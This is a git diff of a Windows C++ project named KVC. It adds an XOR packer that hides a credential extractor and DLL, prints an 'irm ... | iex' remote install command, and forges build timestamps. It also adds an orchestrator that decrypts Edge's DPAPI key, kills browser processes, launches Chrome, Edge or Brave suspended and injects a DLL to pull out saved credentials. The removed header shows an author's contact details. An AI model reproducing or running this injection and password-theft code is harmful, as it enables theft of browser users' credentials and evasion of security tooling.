std::cout << " -> Combined file XOR-encoded -> " << KVC_DAT << "\n";
|
||||||
|
|
||||||
|
return Result<void>();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decode files: kvc.dat -> kvc.raw + kvc_pass.exe + kvc_crypt.dll
|
||||||
|
Result<void> decode_files() {
|
||||||
|
std::cout << "Decoding " << KVC_DAT << "...\n";
|
||||||
|
|
||||||
|
auto enc_result = read_file(KVC_DAT);
|
||||||
|
if (!enc_result) {
|
||||||
|
return Result<void>(enc_result.error());
|
||||||
|
}
|
||||||
|
|
||||||
|
// XOR decode the data
|
||||||
|
std::vector<uint8_t> dec_data = std::move(enc_result.value());
|
||||||
|
xor_data(dec_data, XOR_KEY);
|
||||||
|
|
||||||
|
// Write decoded raw file
|
||||||
|
if (auto result = write_file(KVC_RAW, dec_data); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try to determine the exact size of the first PE file
|
||||||
|
auto first_size = get_pe_file_length(dec_data, 0);
|
||||||
|
|
||||||
|
// Fallback if PE parsing failed
|
||||||
|
if (!first_size || *first_size >= dec_data.size()) {
|
||||||
|
std::cout << " -> PE parsing failed, using fallback search for MZ header...\n";
|
||||||
|
|
||||||
|
const size_t search_start = std::min<size_t>(0x200, dec_data.size() - 1);
|
||||||
|
first_size = find_next_mz_header(dec_data, search_start);
|
||||||
|
|
||||||
|
if (!first_size) {
|
||||||
|
// Ultimate fallback: don't split
|
||||||
|
first_size = dec_data.size();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Split the files
|
||||||
|
if (auto result = write_file(KVC_PASS_EXE, std::span(dec_data.data(), *first_size)); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (auto result = write_file(KVC_CRYPT_DLL, std::span(dec_data.data() + *first_size, dec_data.size() - *first_size)); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::cout << " -> Decoded -> " << KVC_RAW << "\n";
|
||||||
|
std::cout << " -> Split into " << KVC_PASS_EXE << " and " << KVC_CRYPT_DLL << "\n";
|
||||||
|
|
||||||
|
return Result<void>();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build distribution package: kvc.exe + kvc.dat -> kvc.enc
|
||||||
|
Result<void> build_distribution() {
|
||||||
|
std::cout << "Building distribution package...\n";
|
||||||
|
|
||||||
|
// Check if kvc.dat exists
|
||||||
|
if (!fs::exists(KVC_DAT)) {
|
||||||
|
std::cout << " -> " << KVC_DAT << " not found.\n";
|
||||||
|
|
||||||
|
// Check if source files exist
|
||||||
|
if (!fs::exists(KVC_PASS_EXE) || !fs::exists(KVC_CRYPT_DLL)) {
|
||||||
|
return Result<void>(
|
||||||
|
concat("Cannot create ", KVC_DAT, ": missing ", KVC_PASS_EXE, " or ", KVC_CRYPT_DLL)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ask if we should create it
|
||||||
|
if (ask_yes_no(concat("Create ", KVC_DAT, " from ", KVC_PASS_EXE, " and ", KVC_CRYPT_DLL, "?"))) {
|
||||||
|
if (auto result = encode_files(); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return Result<void>("Operation cancelled by user");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Read both files
|
||||||
|
auto exe_result = read_file(KVC_EXE);
|
||||||
|
if (!exe_result) {
|
||||||
|
return Result<void>(exe_result.error());
|
||||||
|
}
|
||||||
|
|
||||||
|
auto dat_result = read_file(KVC_DAT);
|
||||||
|
if (!dat_result) {
|
||||||
|
return Result<void>(dat_result.error());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Combine files
|
||||||
|
std::vector<uint8_t> combined_data;
|
||||||
|
combined_data.reserve(exe_result->size() + dat_result->size());
|
||||||
|
combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end());
|
||||||
|
combined_data.insert(combined_data.end(), dat_result->begin(), dat_result->end());
|
||||||
|
|
||||||
|
// XOR encode the combined data
|
||||||
|
xor_data(combined_data, XOR_KEY);
|
||||||
|
|
||||||
|
// Write encoded distribution file
|
||||||
|
if (auto result = write_file(KVC_ENC, combined_data); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::cout << " -> Distribution package created -> " << KVC_ENC << "\n";
|
||||||
|
std::cout << " -> Ready for remote deployment!\n";
|
||||||
|
|
||||||
|
return Result<void>();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decode distribution package: kvc.enc -> kvc.exe + kvc.dat
|
||||||
|
Result<void> decode_distribution() {
|
||||||
|
std::cout << "Decoding distribution package...\n";
|
||||||
|
|
||||||
|
auto enc_result = read_file(KVC_ENC);
|
||||||
|
if (!enc_result) {
|
||||||
|
return Result<void>(enc_result.error());
|
||||||
|
}
|
||||||
|
|
||||||
|
// XOR decode the data
|
||||||
|
std::vector<uint8_t> dec_data = std::move(enc_result.value());
|
||||||
|
xor_data(dec_data, XOR_KEY);
|
||||||
|
|
||||||
|
// Try to determine the exact size of kvc.exe
|
||||||
|
auto exe_size = get_pe_file_length(dec_data, 0);
|
||||||
|
|
||||||
|
// Fallback if PE parsing failed
|
||||||
|
if (!exe_size || *exe_size >= dec_data.size()) {
|
||||||
|
std::cout << " -> PE parsing failed, using fallback search for MZ header...\n";
|
||||||
|
|
||||||
|
const size_t search_start = std::min<size_t>(0x200, dec_data.size() - 1);
|
||||||
|
exe_size = find_next_mz_header(dec_data, search_start);
|
||||||
|
|
||||||
|
if (!exe_size) {
|
||||||
|
// Ultimate fallback: use half
|
||||||
|
exe_size = dec_data.size() / 2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Split the files
|
||||||
|
if (auto result = write_file(KVC_EXE, std::span(dec_data.data(), *exe_size)); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (auto result = write_file(KVC_DAT, std::span(dec_data.data() + *exe_size, dec_data.size() - *exe_size)); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::cout << " -> Distribution package decoded -> " << KVC_EXE << " + " << KVC_DAT << "\n";
|
||||||
|
|
||||||
|
return Result<void>();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decode everything: kvc.enc -> kvc.exe + kvc_pass.exe + kvc_crypt.dll
|
||||||
|
Result<void> decode_everything() {
|
||||||
|
std::cout << "Complete decoding of distribution package...\n";
|
||||||
|
|
||||||
|
// Check if kvc.enc exists
|
||||||
|
if (!fs::exists(KVC_ENC)) {
|
||||||
|
std::cout << " -> " << KVC_ENC << " not found.\n";
|
||||||
|
|
||||||
|
// Check if we can create it from existing files
|
||||||
|
if (fs::exists(KVC_EXE) && fs::exists(KVC_DAT)) {
|
||||||
|
if (ask_yes_no(concat("Create ", KVC_ENC, " from ", KVC_EXE, " and ", KVC_DAT, "?"))) {
|
||||||
|
if (auto result = build_distribution(); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return Result<void>("Operation cancelled by user");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return Result<void>(concat("File '", KVC_ENC, "' does not exist"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
auto enc_result = read_file(KVC_ENC);
|
||||||
|
if (!enc_result) {
|
||||||
|
return Result<void>(enc_result.error());
|
||||||
|
}
|
||||||
|
|
||||||
|
// XOR decode the data
|
||||||
|
std::vector<uint8_t> dec_data = std::move(enc_result.value());
|
||||||
|
xor_data(dec_data, XOR_KEY);
|
||||||
|
|
||||||
|
// Find first PE file (kvc.exe)
|
||||||
|
auto first_pe_size = get_pe_file_length(dec_data, 0);
|
||||||
|
|
||||||
|
if (!first_pe_size || *first_pe_size >= dec_data.size()) {
|
||||||
|
return Result<void>("Cannot determine first PE file size");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Extract kvc.exe
|
||||||
|
std::vector<uint8_t> kvc_exe_data(dec_data.begin(), dec_data.begin() + *first_pe_size);
|
||||||
|
|
||||||
|
// The remaining data should be kvc.dat
|
||||||
|
std::vector<uint8_t> kvc_dat_data(dec_data.begin() + *first_pe_size, dec_data.end());
|
||||||
|
|
||||||
|
// Decode kvc.dat to get kvc_pass.exe and kvc_crypt.dll
|
||||||
|
xor_data(kvc_dat_data, XOR_KEY);
|
||||||
|
|
||||||
|
// Find the PE file in kvc.dat (kvc_pass.exe)
|
||||||
|
auto second_pe_size = get_pe_file_length(kvc_dat_data, 0);
|
||||||
|
|
||||||
|
if (!second_pe_size || *second_pe_size >= kvc_dat_data.size()) {
|
||||||
|
return Result<void>("Cannot determine second PE file size in kvc.dat");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write all files
|
||||||
|
if (auto result = write_file(KVC_EXE, kvc_exe_data); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (auto result = write_file(KVC_PASS_EXE, std::span(kvc_dat_data.data(), *second_pe_size)); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (auto result = write_file(KVC_CRYPT_DLL, std::span(kvc_dat_data.data() + *second_pe_size, kvc_dat_data.size() - *second_pe_size)); !result) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::cout << " -> Complete decoding successful!\n";
|
||||||
|
std::cout << " -> Extracted: " << KVC_EXE << ", " << KVC_PASS_EXE << ", " << KVC_CRYPT_DLL << "\n";
|
||||||
|
|
||||||
|
return Result<void>();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Display menu
|
||||||
|
void display_menu() {
|
||||||
|
std::cout << "==================================================\n";
|
||||||
|
std::cout << "| FILE ENCODER/DECODER TOOL |\n";
|
||||||
|
std::cout << "==================================================\n";
|
||||||
|
std::cout << "| 1. ENCODE: kvc_pass.exe + kvc_crypt.dll |\n";
|
||||||
|
std::cout << "| -> kvc.raw + kvc.dat |\n";
|
||||||
|
std::cout << "| 2. DECODE: kvc.dat -> kvc.raw + |\n";
|
||||||
|
std::cout << "| kvc_pass.exe + kvc_crypt.dll |\n";
|
||||||
|
std::cout << "| 3. BUILD DISTRIBUTION: kvc.exe + kvc.dat |\n";
|
||||||
|
std::cout << "| -> kvc.enc |\n";
|
||||||
|
std::cout << "| 4. DECODE DISTRIBUTION: kvc.enc -> |\n";
|
||||||
|
std::cout << "| kvc.exe + kvc.dat |\n";
|
||||||
|
std::cout << "| 5. DECODE EVERYTHING: kvc.enc -> |\n";
|
||||||
|
std::cout << "| kvc.exe + kvc_pass.exe + |\n";
|
||||||
|
std::cout << "| kvc_crypt.dll |\n";
|
||||||
|
std::cout << "==================================================\n\n";
|
||||||
|
std::cout << "kvc.enc is used for remote installation via command:\n";
|
||||||
|
|
||||||
|
ColorGuard green(Color::Green);
|
||||||
|
std::cout << "irm https://kvc.pl/run | iex\n\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
display_menu();
|
||||||
|
std::cout << "Select operation (1-5): ";
|
||||||
|
|
||||||
|
int choice;
|
||||||
|
std::cin >> choice;
|
||||||
|
std::cin.ignore(); // Clear newline from buffer
|
||||||
|
|
||||||
|
Result<void> result = Result<void>("Invalid choice");
|
||||||
|
|
||||||
|
switch (choice) {
|
||||||
|
case 1: result = encode_files(); break;
|
||||||
|
case 2: result = decode_files(); break;
|
||||||
|
case 3: result = build_distribution(); break;
|
||||||
|
case 4: result = decode_distribution(); break;
|
||||||
|
case 5: result = decode_everything(); break;
|
||||||
|
default:
|
||||||
|
ColorGuard red(Color::Red);
|
||||||
|
std::cerr << "Invalid choice. Please select 1-5.\n";
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!result) {
|
||||||
|
ColorGuard red(Color::Red);
|
||||||
|
std::cerr << "Error: " << result.error() << "\n";
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
BIN
kvc/KvcXor.rc
Normal file
BIN
kvc/KvcXor.rc
Normal file
Binary file not shown.
95
kvc/KvcXor.vcxproj
Normal file
95
kvc/KvcXor.vcxproj
Normal file
@@ -0,0 +1,95 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>17.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{a905154d-f1ec-4821-9717-9f6d35f69f3f}</ProjectGuid>
|
||||||
|
<RootNamespace>KvcXor</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
|
||||||
|
<ImportGroup Label="ExtensionSettings" />
|
||||||
|
<ImportGroup Label="Shared" />
|
||||||
|
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"
|
||||||
|
Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')"
|
||||||
|
Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<OutDir>$(SolutionDir)bin\x64\Release\</OutDir>
|
||||||
|
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
|
||||||
|
<TargetName>KvcXor</TargetName>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>false</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /GL /Brepro %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||||
|
<LinkTimeCodeGeneration>UseLinkTimeCodeGeneration</LinkTimeCodeGeneration>
|
||||||
|
<AdditionalOptions>/OPT:REF /OPT:ICF=5 /MERGE:.rdata=.text /MERGE:.pdata=.text /NXCOMPAT /INCREMENTAL:NO /Brepro %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="KvcXor.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="resource.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="KvcXor.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<Image Include="ICON\kvc.ico" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets" />
|
||||||
|
</Project>
|
||||||
22
kvc/KvcXor.vcxproj.filters
Normal file
22
kvc/KvcXor.vcxproj.filters
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Resource Files">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="KvcXor.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
4
kvc/KvcXor.vcxproj.user
Normal file
4
kvc/KvcXor.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup />
|
||||||
|
</Project>
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// OffsetFinder.cpp
|
// OffsetFinder.cpp
|
||||||
#include "OffsetFinder.h"
|
#include "OffsetFinder.h"
|
||||||
#include "Utils.h"
|
#include "Utils.h"
|
||||||
|
|||||||
446
kvc/OrchestratorCore.cpp
Normal file
446
kvc/OrchestratorCore.cpp
Normal file
@@ -0,0 +1,446 @@
|
|||||||
|
// OrchestratorCore.cpp - Main orchestration and application entry point
|
||||||
|
// Coordinates process management, injection, and extraction workflow
|
||||||
|
#include "OrchestratorCore.h"
|
||||||
|
#include "BrowserProcessManager.h"
|
||||||
|
#include "InjectionEngine.h"
|
||||||
|
#include "CommunicationLayer.h"
|
||||||
|
#include "syscalls.h"
|
||||||
|
#include <iostream>
|
||||||
|
#include <algorithm>
|
||||||
|
#include <map>
|
||||||
|
#include <sstream>
|
||||||
|
|
||||||
|
namespace
|
||||||
|
{
|
||||||
|
constexpr const char* APP_VERSION = "1.0.1";
|
||||||
|
constexpr const char* SECURITY_MODULE_NAME = "kvc_crypt.dll";
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string g_securityModulePath;
|
||||||
|
|
||||||
|
// Parses command-line arguments into configuration structure
|
||||||
|
std::optional<Configuration> Configuration::CreateFromArgs(int argc, wchar_t* argv[], const Console& console)
|
||||||
|
{
|
||||||
|
Configuration config;
|
||||||
|
fs::path customOutputPath;
|
||||||
|
|
||||||
|
for (int i = 1; i < argc; ++i)
|
||||||
|
{
|
||||||
|
std::wstring_view arg = argv[i];
|
||||||
|
if (arg == L"--verbose" || arg == L"-v")
|
||||||
|
config.verbose = true;
|
||||||
|
else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc)
|
||||||
|
customOutputPath = argv[++i];
|
||||||
|
else if (arg == L"--help" || arg == L"-h")
|
||||||
|
{
|
||||||
|
console.printUsage();
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-')
|
||||||
|
config.browserType = arg;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
console.Warn("Unknown or misplaced argument: " + Utils::WStringToUtf8(arg));
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (config.browserType.empty())
|
||||||
|
{
|
||||||
|
console.printUsage();
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::transform(config.browserType.begin(), config.browserType.end(),
|
||||||
|
config.browserType.begin(), ::towlower);
|
||||||
|
|
||||||
|
static const std::map<std::wstring, std::wstring> browserExeMap = {
|
||||||
|
{L"chrome", L"chrome.exe"},
|
||||||
|
{L"brave", L"brave.exe"},
|
||||||
|
{L"edge", L"msedge.exe"}
|
||||||
|
};
|
||||||
|
|
||||||
|
auto it = browserExeMap.find(config.browserType);
|
||||||
|
if (it == browserExeMap.end())
|
||||||
|
{
|
||||||
|
console.Error("Unsupported browser type: " + Utils::WStringToUtf8(config.browserType));
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
config.browserProcessName = it->second;
|
||||||
|
|
||||||
|
BrowserPathResolver resolver(console);
|
||||||
|
config.browserDefaultExePath = resolver.resolve(config.browserProcessName);
|
||||||
|
|
||||||
|
if (config.browserDefaultExePath.empty())
|
||||||
|
{
|
||||||
|
console.Error("Could not find " + Utils::WStringToUtf8(config.browserType) +
|
||||||
|
" installation in Registry");
|
||||||
|
console.Info("Please ensure " + Utils::WStringToUtf8(config.browserType) +
|
||||||
|
" is properly installed");
|
||||||
|
return std::nullopt;
|
||||||
|
}
|
||||||
|
|
||||||
|
config.browserDisplayName = Utils::Capitalize(Utils::WStringToUtf8(config.browserType));
|
||||||
|
config.outputPath = customOutputPath.empty() ? fs::current_path() / "output" :
|
||||||
|
fs::absolute(customOutputPath);
|
||||||
|
|
||||||
|
return config;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Orchestrates complete injection workflow: cleanup, injection, execution, termination
|
||||||
|
PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console)
|
||||||
|
{
|
||||||
|
std::vector<uint8_t> edgeDpapiKey;
|
||||||
|
|
||||||
|
// Edge-specific: Extract DPAPI key in orchestrator before process creation
|
||||||
|
if (config.browserType == L"edge")
|
||||||
|
{
|
||||||
|
// Try multiple possible Edge installation paths
|
||||||
|
std::vector<fs::path> possiblePaths = {
|
||||||
|
Utils::GetLocalAppDataPath() / "Microsoft" / "Edge" / "User Data" / "Local State",
|
||||||
|
Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Beta" / "User Data" / "Local State",
|
||||||
|
Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Dev" / "User Data" / "Local State"
|
||||||
|
};
|
||||||
|
|
||||||
|
for (const auto& edgeLocalState : possiblePaths)
|
||||||
|
{
|
||||||
|
if (fs::exists(edgeLocalState))
|
||||||
|
{
|
||||||
|
edgeDpapiKey = DecryptEdgePasswordKeyWithDPAPI(edgeLocalState, console);
|
||||||
|
|
||||||
|
if (!edgeDpapiKey.empty())
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (edgeDpapiKey.empty())
|
||||||
|
{
|
||||||
|
console.Warn("Could not extract Edge DPAPI key - passwords may not be available");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Terminate processes holding database locks
|
||||||
|
KillBrowserNetworkService(config, console);
|
||||||
|
KillBrowserProcesses(config, console);
|
||||||
|
|
||||||
|
// Create suspended target process
|
||||||
|
TargetProcess target(config, console);
|
||||||
|
target.createSuspended();
|
||||||
|
|
||||||
|
// Establish named pipe communication
|
||||||
|
PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console);
|
||||||
|
pipe.create();
|
||||||
|
|
||||||
|
// Inject security module and create remote thread
|
||||||
|
InjectionManager injector(target, console);
|
||||||
|
injector.execute(pipe.getName());
|
||||||
|
|
||||||
|
// Wait for module connection and send configuration
|
||||||
|
pipe.waitForClient();
|
||||||
|
pipe.sendInitialData(config.verbose, config.outputPath, edgeDpapiKey);
|
||||||
|
pipe.relayMessages();
|
||||||
|
|
||||||
|
// Cleanup
|
||||||
|
target.terminate();
|
||||||
|
|
||||||
|
return pipe.getStats();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Processes all installed browsers sequentially
|
||||||
|
void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath)
|
||||||
|
{
|
||||||
|
if (verbose)
|
||||||
|
console.Info("Starting multi-browser security analysis...");
|
||||||
|
|
||||||
|
BrowserPathResolver resolver(console);
|
||||||
|
auto installedBrowsers = resolver.findAllInstalledBrowsers();
|
||||||
|
|
||||||
|
if (installedBrowsers.empty())
|
||||||
|
{
|
||||||
|
console.Error("No supported browsers found on this system");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!verbose)
|
||||||
|
console.Info("Processing " + std::to_string(installedBrowsers.size()) + " browser(s):\n");
|
||||||
|
|
||||||
|
int successCount = 0;
|
||||||
|
int failCount = 0;
|
||||||
|
|
||||||
|
for (size_t i = 0; i < installedBrowsers.size(); ++i)
|
||||||
|
{
|
||||||
|
const auto& [browserType, browserPath] = installedBrowsers[i];
|
||||||
|
|
||||||
|
Configuration config;
|
||||||
|
config.verbose = verbose;
|
||||||
|
config.outputPath = outputPath;
|
||||||
|
config.browserType = browserType;
|
||||||
|
config.browserDefaultExePath = browserPath;
|
||||||
|
|
||||||
|
static const std::map<std::wstring, std::pair<std::wstring, std::string>> browserMap = {
|
||||||
|
{L"chrome", {L"chrome.exe", "Chrome"}},
|
||||||
|
{L"edge", {L"msedge.exe", "Edge"}},
|
||||||
|
{L"brave", {L"brave.exe", "Brave"}}
|
||||||
|
};
|
||||||
|
|
||||||
|
auto it = browserMap.find(browserType);
|
||||||
|
if (it != browserMap.end())
|
||||||
|
{
|
||||||
|
config.browserProcessName = it->second.first;
|
||||||
|
config.browserDisplayName = it->second.second;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (verbose)
|
||||||
|
{
|
||||||
|
console.Info("\n[Browser " + std::to_string(i + 1) + "/" +
|
||||||
|
std::to_string(installedBrowsers.size()) +
|
||||||
|
"] Processing " + config.browserDisplayName);
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
auto stats = RunInjectionWorkflow(config, console);
|
||||||
|
successCount++;
|
||||||
|
|
||||||
|
if (verbose)
|
||||||
|
{
|
||||||
|
console.Success(config.browserDisplayName + " analysis completed");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
DisplayExtractionSummary(config.browserDisplayName, stats, console, false,
|
||||||
|
config.outputPath);
|
||||||
|
